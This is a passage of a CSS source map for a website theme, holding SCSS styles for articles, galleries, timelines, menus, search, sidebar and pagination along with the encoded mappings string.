#e74c3c;\n}\n\n.categories-color-crypto {\n background-color: #219b54;\n}\n\n.categories-color-rev {\n background-color: #19703d;\n}\n\n.categories-color-misc {\n background-color: #d6d318;\n}\n\n.categories-color-forensic {\n background-color: #f39c12;\n}\n\n.categories-color-osint {\n background-color: #8e44ad;\n}\n\n.categories-color-block {\n background-color: #8f22ce;\n}\n\n.categories-color-netw {\n background-color: #16384e;\n}\n\n// Loader\n\n.nftImage {\n width: 200%;\n height: auto;\n border-radius: 12px;\n}\n\n.spinner {\n border: 4px solid rgba(0, 0, 0, 0.1);\n border-radius: 50%;\n border-top: 4px solid #D4B783;\n width: 40px;\n height: 40px;\n animation: spin 1s linear infinite;\n margin: auto;\n}\n\n@keyframes spin {\n 0% {\n transform: rotate(0deg);\n }\n\n 100% {\n transform: rotate(360deg);\n }\n}", - "article {\n line-height: 1.7;\n width: 100%;\n\n > *:first-child {\n margin-top: 0;\n }\n\n > *:last-child {\n margin-bottom: 0;\n }\n\n hr {\n @include my-8;\n }\n\n p {\n overflow-wrap: break-word;\n }\n\n li {\n list-style-type: disc;\n @include my-2;\n\n p {\n @include my-0;\n }\n }\n\n ul, ol {\n @include my-4;\n padding-left: 1.3rem;\n }\n\n ol {\n li {\n list-style-type: decimal;\n }\n }\n\n ul, ol {\n @include my-2;\n\n li:first-child {\n margin-top: 0;\n }\n\n li:last-child {\n margin-bottom: 0;\n }\n }\n\n blockquote {\n @include px-4;\n @include my-4;\n @include mx-0;\n border-left: 2px solid var(--color-border);\n\n p:first-child {\n margin-top: 0;\n }\n\n p:last-child {\n margin-bottom: 0;\n }\n\n blockquote {\n @include my-0;\n }\n }\n\n code { /* Inline code style */\n border-radius: .25rem;\n padding: .2rem .375rem .2rem .375rem;\n background-color: var(--color-background-inline-code);\n }\n\n pre {\n @include my-4;\n padding: 1rem;\n overflow-x: auto;\n border-radius: .5rem;\n background-color: #272822; // from monokai\n color: $gray-50;\n\n code { /* Disable inline code style */\n display: inherit;\n border-radius: 0;\n padding: 0;\n background-color: transparent;\n }\n }\n\n pre.mc-prism.hide code { /* Smooth transition for prism.js */\n opacity: 0;\n }\n\n pre.mc-prism code { /* Smooth transition for prism.js */\n opacity: 1;\n transition: opacity 0.1s ease-in;\n }\n\n .code-toolbar {\n .toolbar-item {\n @include mx-1;\n }\n }\n\n .highlight {\n @include my-4;\n position: relative;\n\n .code-toolbar {\n padding: 0;\n\n pre {\n padding: 1rem;\n border-radius: 0.375rem;\n }\n }\n\n > div,\n > pre {\n padding: 0.75rem;\n border-radius: 0.375rem;\n overflow-x: auto;\n\n pre {\n padding: 0;\n margin: 0;\n border-radius: 0;\n\n code { /* Disable inline code style */\n border-radius: 0;\n padding: 0;\n background-color: transparent;\n }\n }\n }\n }\n\n .copy-code-button {\n @include text-xs;\n position: absolute;\n right: 0;\n height: 1.5rem;\n top: -1.5rem;\n padding-left: 0.375rem;\n padding-right: 0.375rem;\n border-radius: .25rem;\n cursor: pointer;\n background-color: transparent;\n display: flex;\n align-items: center;\n\n &:hover {\n background-color: var(--color-background-hover);\n }\n }\n\n table.mc-table {\n @include my-4;\n table-layout: auto;\n border-collapse: collapse;\n display: block;\n overflow-x: auto;\n\n td, th {\n @include px-3;\n @include py-2;\n border: 1px solid var(--color-border);\n }\n }\n\n figure {\n @include my-4;\n text-align: center;\n \n figcaption {\n @include my-2;\n }\n }\n\n img {\n @include mx-auto;\n display: block;\n }\n\n .header-anchor-link {\n display: none;\n color: var(--color-text);\n }\n\n .header-anchor-wrapper:hover .header-anchor-link {\n display: inline;\n }\n}\n\nhtml[data-theme='dark'] {\n .twitter-tweet {\n color: var(--color-text);\n\n a {\n color: var(--color-link);\n }\n } \n}\n\n", - ".bookcase-layout {\n display: grid;\n gap: 1rem;\n grid-template-columns: repeat(auto-fill, 8rem);\n\n .bookcase-item {\n figure {\n position: relative;\n margin: 0;\n }\n\n figcaption {\n @include text-sm;\n text-align: center;\n margin-top: .7rem;\n\n a {\n color: var(--color-text);\n }\n }\n\n img, .bookcase-item-overlay {\n width: 8rem;\n height: 12rem;\n border-radius: 0.375rem;\n object-fit: cover;\n }\n\n .bookcase-item-overlay {\n position: absolute;\n top: 0;\n left: 0;\n background-color: transparent;\n opacity: 0.25;\n \n &:hover {\n background-color: var(--color-background-overlay);\n }\n }\n }\n}\n\nhtml[data-theme=\"light\"] {\n .bookcase-item-img-dark {\n display: none;\n }\n\n .bookcase-item {\n img, .bookcase-item-overlay {\n box-shadow: 0 0 10px -1px rgba(0, 0, 0, 0.1);\n }\n }\n}\n\nhtml[data-theme=\"dark\"] {\n .bookcase-item-img-light {\n display: none;\n }\n\n .bookcase-item {\n img, .bookcase-item-overlay {\n box-shadow: 0 0 3px 0px rgba(135, 135, 135, 0.2);\n }\n }\n}\n\n", - ".gallery-layout {\n figure {\n @media screen and (min-width: $md_min_width) {\n margin-left: -1.25rem;\n margin-right: -1.25rem;\n }\n\n img {\n @include mx-auto;\n display: block;\n }\n }\n\n figcaption {\n @include my-2;\n @include text-xs;\n font-style: italic;\n text-align: center;\n }\n\n .gallery-item {\n margin-bottom: 4rem;\n }\n\n .gallery-item-title {\n margin: 1rem 0;\n\n a {\n @include list-link-item;\n }\n\n span {\n @include text-3xl;\n @include font-bold;\n }\n }\n\n .gallery-item-content {\n @include my-4;\n }\n\n .gallery-item-statistic {\n display: grid;\n gap: 0.5rem;\n grid-template-columns: max-content 1fr;\n }\n}", - "%balloon-item-base {\n display: flex;\n flex-direction: column;\n\n @media screen and (min-width: $md_min_width) {\n flex-direction: row;\n }\n}\n\n%balloon-item-line-base {\n width: 7rem;\n display: flex;\n flex-direction: column;\n position: relative;\n align-items: center;\n\n @media screen and (max-width: $md_min_width) {\n display: none;\n }\n}\n\n%balloon-item-content-base {\n display: flex;\n flex: 1 1 0%;\n margin-left: -12px;\n\n @media screen and (max-width: $md_min_width) {\n margin-left: 0;\n }\n}\n\n\n.balloon-layout {\n @media screen and (min-width: $md_min_width) {\n margin-left: -1.75rem;\n }\n\n .balloon-head-item {\n @extend %balloon-item-base;\n width: 100%;\n gap: 20px;\n\n .balloon-head-item-desktop {\n @extend %balloon-item-line-base;\n }\n\n .balloon-head-item-mobile {\n width: 100%;\n justify-content: center;\n\n @media screen and (min-width: $md_min_width) {\n display: none;\n }\n }\n\n .balloon-head-item-img-light, .balloon-head-item-img-dark {\n display: flex;\n justify-content: center;\n }\n\n .balloon-head-item-img {\n img {\n width: 6rem;\n height: 6rem;\n }\n\n .rounded {\n border-radius: 9999px;\n }\n }\n\n .balloon-head-item-content {\n @extend %balloon-item-content-base;\n margin: 0;\n align-items: center;\n\n @media screen and (max-width: $md_min_width) {\n justify-content: center;\n text-align: center;\n }\n }\n }\n\n .balloon-title-item {\n @extend %balloon-item-base;\n\n .balloon-title-item-line {\n @extend %balloon-item-line-base;\n }\n\n .balloon-title-item-content {\n @extend %balloon-item-content-base;\n\n @media screen and (max-width: $md_min_width) {\n justify-content: center;\n text-align: center;\n }\n }\n }\n\n .balloon-card-item {\n @extend %balloon-item-base;\n\n .balloon-card-item-line {\n @extend %balloon-item-line-base;\n }\n\n .balloon-card-item-content {\n @extend %balloon-item-content-base;\n @include text-sm;\n overflow: auto;\n border-radius: 0.375rem;\n box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);\n background-color: var(--color-background-card);\n padding: 1rem 1.2rem;\n }\n }\n\n .balloon-dot {\n width: .8rem;\n height: .8rem;\n border-radius: 1rem;\n margin: 0.25rem 0;\n border: 2px solid var(--color-text);\n }\n\n .balloon-line-container {\n display: flex;\n flex: 1 1 0%;\n justify-content: center;\n\n .balloon-line {\n background-color: var(--color-text);\n }\n }\n}\n\nhtml[data-theme=\"dark\"] {\n .balloon-head-item {\n .balloon-head-item-img-light {\n display: none;\n }\n }\n}\n\nhtml[data-theme=\"light\"] {\n .balloon-head-item {\n .balloon-head-item-img-dark {\n display: none;\n }\n }\n}\n", - "ul.list-layout {\n list-style: none;\n padding: 0;\n\n li {\n margin-bottom: .5rem;\n line-height: 1.625;\n display: list-item;\n list-style-type: none;\n\n a {\n @include list-link-item;\n line-height: 1.7rem;\n }\n\n span {\n @include text-xs;\n color: var(--color-text-secondary);\n }\n }\n}\n", - ".postcard-layout {\n a {\n color: var(--color-text);\n }\n\n .postcard-item {\n padding: 1rem;\n background-color: var(--color-background-card);\n border-radius: .375rem;\n margin: 2rem 0;\n box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);\n\n &:hover {\n background-color: var(--color-background-hover);\n }\n\n .postcard-title {\n @include text-xl;\n @include font-medium;\n }\n \n .postcard-summary {\n @include text-xs;\n color: var(--color-text-secondary);\n overflow: hidden;\n white-space: nowrap;\n text-overflow: ellipsis;\n margin: .5rem 0;\n }\n\n .postcard-metadata {\n @include text-xs;\n color: var(--color-text-secondary);\n }\n }\n}", - ".term-title {\n display: flex;\n align-items: center;\n gap: 8px;\n margin: 2rem 0;\n\n h1 {\n margin: 0;\n }\n}\n", - "html[data-theme=\"dark\"] {\n #dark_mode_btn {\n display: none;\n }\n}\n\nhtml[data-theme=\"light\"] {\n #light_mode_btn {\n display: none;\n }\n}\n\nheader {\n display: flex;\n justify-content: space-between;\n align-items: center;\n margin: 1rem 0;\n\n #header_left {\n display: flex;\n justify-content: space-between;\n align-items: center;\n\n .brand {\n display: flex;\n align-items: center;\n \n a {\n @include text-3xl;\n @include font-bold;\n color: var(--color-text);\n }\n }\n \n #sidebar_btn {\n margin-right: 0.5rem;\n\n #sidebar_btn_label {\n display: flex;\n }\n\n @media screen and (min-width: $md_min_width) {\n display: none;\n }\n }\n }\n\n .toolbox {\n display: flex;\n align-items: center;\n column-gap: 0.5rem;\n\n .toolbox-btn {\n display: flex;\n cursor: pointer;\n\n &:hover {\n color: var(--color-text-secondary);\n }\n }\n\n .dropdown-wrapper {\n .dropdown-btn.pure-menu-link {\n color: unset;\n }\n\n .dropdown-btn {\n display: flex;\n align-items: center;\n padding: 0;\n\n &:hover {\n background-color: unset;\n }\n\n &::after {\n content: \"\";\n padding: 0;\n }\n\n .dropdown-desc {\n @include text-sm;\n margin-left: 0.35rem;\n }\n }\n }\n\n #translation_tool {\n .dropdown-btn .dropdown-desc {\n display: none;\n \n @media screen and (min-width: $md_min_width) {\n display: block;\n }\n }\n\n .pure-menu-children {\n left: auto;\n right: 0;\n }\n }\n }\n}\n", - "footer {\n @include my-4;\n @include text-xs;\n text-align: center;\n color: var(--color-text-footer);\n}", - "/*!\nPure v2.1.0\nCopyright 2013 Yahoo!\nLicensed under the BSD License.\nhttps://github.com/pure-css/pure/blob/master/LICENSE\n*/\n/*csslint adjoining-classes: false, box-model:false*/\n\n.pure-menu {\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n}\n\n.pure-menu-fixed {\n position: fixed;\n left: 0;\n top: 0;\n z-index: 3;\n}\n\n.pure-menu-list, .pure-menu-item {\n position: relative;\n}\n\n.pure-menu-list {\n list-style: none;\n margin: 0;\n padding: 0;\n}\n\n.pure-menu-item {\n padding: 0;\n margin: 0;\n height: 100%;\n @include text-sm;\n}\n\n.pure-menu-link, .pure-menu-heading {\n display: block;\n text-decoration: none;\n white-space: nowrap;\n}\n\n/* HORIZONTAL MENU */\n\n.pure-menu-horizontal {\n width: 100%;\n white-space: nowrap;\n\n .pure-menu-list {\n display: inline-block;\n }\n\n .pure-menu-item, .pure-menu-heading, .pure-menu-separator {\n display: inline-block;\n vertical-align: middle;\n }\n}\n\n/* Initial menus should be inline-block so that they are horizontal */\n\n/* Submenus should still be display: block; */\n\n.pure-menu-item .pure-menu-item {\n display: block;\n}\n\n.pure-menu-children {\n display: none;\n position: absolute;\n left: 100%;\n top: 0;\n margin: 0;\n padding: 0;\n z-index: 3;\n\n box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04);\n}\n\n.pure-menu-horizontal .pure-menu-children {\n left: 0;\n top: auto;\n width: inherit;\n}\n\n.pure-menu-allow-hover:hover > .pure-menu-children, .pure-menu-active > .pure-menu-children {\n display: block;\n position: absolute;\n}\n\n/* Vertical Menus - show the dropdown arrow */\n\n.pure-menu-has-children > .pure-menu-link:after {\n padding-left: 0.35rem;\n font-family: sans-serif;\n content: \"▸\";\n}\n\n/* Horizontal Menus - show the dropdown arrow */\n\n.pure-menu-horizontal .pure-menu-has-children > .pure-menu-link:after {\n font-family: sans-serif;\n content: \"▾\";\n}\n\n/* scrollable menus */\n\n.pure-menu-scrollable {\n overflow-y: scroll;\n overflow-x: hidden;\n\n .pure-menu-list {\n display: block;\n }\n}\n\n.pure-menu-horizontal.pure-menu-scrollable {\n .pure-menu-list {\n display: inline-block;\n }\n\n white-space: nowrap;\n overflow-y: hidden;\n overflow-x: auto;\n\n /* a little extra padding for this style to allow for scrollbars */\n padding: .5em 0;\n}\n\n/* misc default styling */\n\n.pure-menu-separator {\n background-color: #ccc;\n height: 1px;\n margin: .3em 0;\n}\n\n.pure-menu-horizontal {\n .pure-menu-children .pure-menu-separator {\n background-color: #ccc;\n height: 1px;\n margin: .3em 0;\n }\n\n .pure-menu-separator {\n width: 1px;\n height: 1.3em;\n margin: 0 0.3em;\n }\n\n .pure-menu-children .pure-menu-separator {\n display: block;\n width: auto;\n }\n}\n\n/* Need to reset the separator since submenu is vertical */\n\n.pure-menu-heading {\n text-transform: uppercase;\n color: var(--color-text);\n}\n\n.pure-menu-link {\n color: var(--color-text);\n @include text-sm;\n}\n\n.pure-menu-children {\n background-color: var(--color-background);\n}\n\n.pure-menu-link, .pure-menu-heading {\n padding: .5rem;\n}\n\n.pure-menu-disabled {\n opacity: .5;\n\n .pure-menu-link:hover {\n background-color: transparent;\n cursor: default;\n }\n}\n\n.pure-menu-active > .pure-menu-link {\n background-color: var(--color-background-hover);\n}\n\n.pure-menu-link {\n &:hover, &:focus {\n background-color: var(--color-background-hover);\n }\n}\n\n.pure-menu-selected > .pure-menu-link {\n color: var(--color-navbar-item-active);\n\n &:visited {\n color: var(--color-navbar-item-active);\n }\n}\n", - "#navbar {\n margin: 1rem 0;\n\n @media screen and (max-width: $md_min_width) {\n display: none;\n }\n\n > ul.pure-menu-list {\n display: flex;\n\n .navbar-dropdown {\n > a.pure-menu-link:after {\n content: \"▾\";\n }\n\n > ul.pure-menu-children {\n left: 0;\n top: 27px;\n width: inherit;\n }\n }\n\n .navbar-item {\n margin: 0 .5rem 0 0;\n border-bottom: 2px solid transparent;\n\n > a.pure-menu-link {\n @include font-medium;\n padding: 0 0 .3rem 0;\n color: var(--color-navbar-item-inactive);\n\n &:hover {\n background-color: transparent;\n }\n }\n\n &:hover {\n border-bottom-color: var(--color-navbar-item-active);\n\n > a {\n color: var(--color-navbar-item-active);\n }\n }\n }\n\n .navbar-item.active {\n border-bottom-color: var(--color-navbar-item-active);\n\n > a {\n color: var(--color-navbar-item-active);\n }\n }\n\n .navbar-item.insection {\n border-bottom-color: var(--color-navbar-item-in-section);\n\n > a {\n color: var(--color-navbar-item-in-section);\n }\n }\n }\n}\n", - "#TableOfContents {\n line-height: 1.5rem;\n\n ul, li {\n list-style: none;\n padding-left: 0;\n margin: 0;\n }\n\n ul ul {\n margin-left: .5rem;\n }\n\n li {\n margin-top: .375rem;\n }\n\n a {\n color: var(--color-text);\n }\n}\n\narticle#collapsible_menu_changelogs {\n line-height: 1.75rem;\n display: grid;\n gap: .5rem;\n grid-template-columns: max-content 1fr;\n margin-top: .5rem;\n}\n\n.collapsible-menu-wrapper {\n @include my-8;\n font-size: 0.875rem;\n padding: 1rem;\n border: 2px solid var(--color-border-collapsible-menu);\n border-radius: .25rem;\n\n .collapsible-menu-type {\n span {\n @include font-bold;\n line-height: 1.5rem;\n }\n }\n\n summary.collapsible-menu-type {\n span {\n margin-left: .3rem;\n }\n }\n\n .collapsible-menu {\n margin-left: .5rem;\n }\n}\n", - ".emgithub-container {\n @include my-6;\n\n .emgithub-code {\n display: flex;\n flex-direction: column;\n justify-content: center;\n\n .emgithub-loading {\n @include mx-auto;\n @include my-4;\n z-index: 10;\n position: absolute;\n left: 0;\n right: 0;\n width: 2rem;\n\n &.hide {\n display: none;\n }\n\n svg {\n width: 2rem;\n height: 2rem;\n animation: spin 1s linear infinite;\n color: white;\n fill: #969696;\n @keyframes spin {\n from {\n transform: rotate(0deg);\n }\n to {\n transform: rotate(360deg);\n }\n }\n }\n }\n\n .emgithub-pre {\n @include my-0;\n border-bottom-right-radius: 0px;\n border-bottom-left-radius: 0px;\n\n &.loading {\n min-height: 5rem;\n }\n\n code {\n tab-size: inherit;\n }\n }\n }\n\n .emgithub-toolbar {\n @include text-xs;\n display: flex;\n flex-direction: row;\n justify-content: space-between;\n padding: 0.75rem 0.75rem 0.625rem 0.75rem;\n border-bottom-right-radius: 0.375rem;\n border-bottom-left-radius: 0.375rem;\n background-color: $gray-900;\n\n a {\n @include font-semibold;\n color: white;\n border: 0;\n }\n }\n}", - ".term-item {\n @include list-link-item;\n margin-right: 0.375rem;\n text-wrap: nowrap;\n}\n", - ".icon {\n display: inline-block;\n width: 1.5rem;\n height: 1.5rem;\n\n a {\n color: var(--color-text);\n\n &:hover {\n color: var(--color-text-secondary);\n }\n }\n}", - ".breadcrumbs {\n @include font-bold;\n list-style-type: none;\n padding: 0;\n margin: 0;\n\n a {\n color: var(--color-text);\n border-bottom: 2px solid transparent;\n\n &:hover {\n border-bottom-color: var(--color-text-secondary);\n }\n }\n\n li {\n display: inline;\n margin-right: 0.25rem;\n }\n}\n", - ".color-block {\n border-radius: 0.25rem;\n padding: 0.75rem;\n}", - ".icon-group {\n @include my-4;\n display: inline-grid;\n grid-auto-flow: column;\n gap: 0.375rem;\n}", - "#search_menu_wrapper {\n display: flex;\n justify-content: center;\n position: fixed;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n z-index: 40;\n background-color: rgba(0,0,0,.75);\n\n #search_menu {\n position: fixed;\n display: flex;\n flex-direction: column;\n width: 100%;\n height: 100%;\n border-radius: 0;\n background-color: var(--color-background);\n\n @media screen and (min-width: $sm_min_width) {\n height: auto;\n top: 6rem;\n bottom: 6rem;\n width: 30rem;\n z-index: 50;\n border-radius: 0.375rem;\n }\n\n #search_menu_toolbar {\n display: flex;\n min-height: 2.5rem;\n box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);\n\n #search_menu_input_wrapper {\n display: flex;\n flex-grow: 1;\n\n input {\n @include px-4;\n flex-grow: 1;\n border-top-left-radius: 0.375rem;\n }\n\n input:focus {\n outline: 2px solid transparent;\n outline-offset: 2px; \n }\n }\n\n #search_menu_close_btn {\n display: flex;\n align-items: center;\n justify-content: center;\n width: 2.5rem;\n border-top-right-radius: 0.375rem;\n cursor: pointer;\n\n &:hover {\n background-color: var(--color-background-overlay);\n }\n }\n }\n\n #search_menu_results {\n flex-grow: 1;\n overflow-y: auto;\n\n .search-menu-result-item {\n @include px-4;\n padding-top: 0.875rem;\n padding-bottom: 0.875rem;\n min-height: 2.5rem;\n\n &:hover {\n background-color: var(--color-background-overlay);\n }\n\n .search-menu-result-item-title {\n @include font-bold;\n line-height: 1.7rem;\n color: var(--color-text);\n }\n \n .search-menu-result-item-content {\n @include text-xs;\n color: var(--color-text-secondary);\n }\n }\n }\n }\n}\n", - "#sidebar_btn_input:checked ~ #sidebar_canvas_overlay_wrapper #sidebar_canvas_overlay {\n display: block;\n}\n\n#sidebar_canvas_overlay {\n background-color: rgba(0,0,0,.75);\n position: fixed;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n z-index: 10;\n display: none;\n}\n\n#sidebar {\n position: fixed;\n top: 0;\n left: 0;\n height: 100%;\n z-index: 20;\n background-color: var(--color-background);\n box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);\n transition: transform 0.2s;\n transform: translateX(-100%);\n overflow-y: auto;\n width: 60%;\n\n @media screen and (min-width: $sm_min_width) {\n width: 40%;\n }\n\n ul {\n list-style: none;\n padding-left: 0;\n margin: 0;\n }\n\n li {\n margin: 1.2rem;\n }\n\n a {\n color: var(--color-text);\n }\n}\n\n#sidebar_btn_input:checked ~ #sidebar {\n display: block;\n transform: translateX(0);\n}\n", - ".pagination {\n padding: 0;\n margin: 0;\n list-style: none;\n\n li {\n display: inline;\n margin: 0 .1rem;\n }\n\n a, span {\n color: var(--color-text-secondary);\n }\n \n li.active a {\n @include font-semibold;\n color: var(--color-text);\n }\n\n li:not(.disabled) a:hover {\n color: var(--color-text);\n\n span {\n color: inherit;\n }\n }\n\n .disabled {\n cursor: not-allowed;\n }\n}\n\n.postcard-layout {\n .pagination {\n text-align: center;\n }\n}\n" - ], - "names": [], - "mappings": "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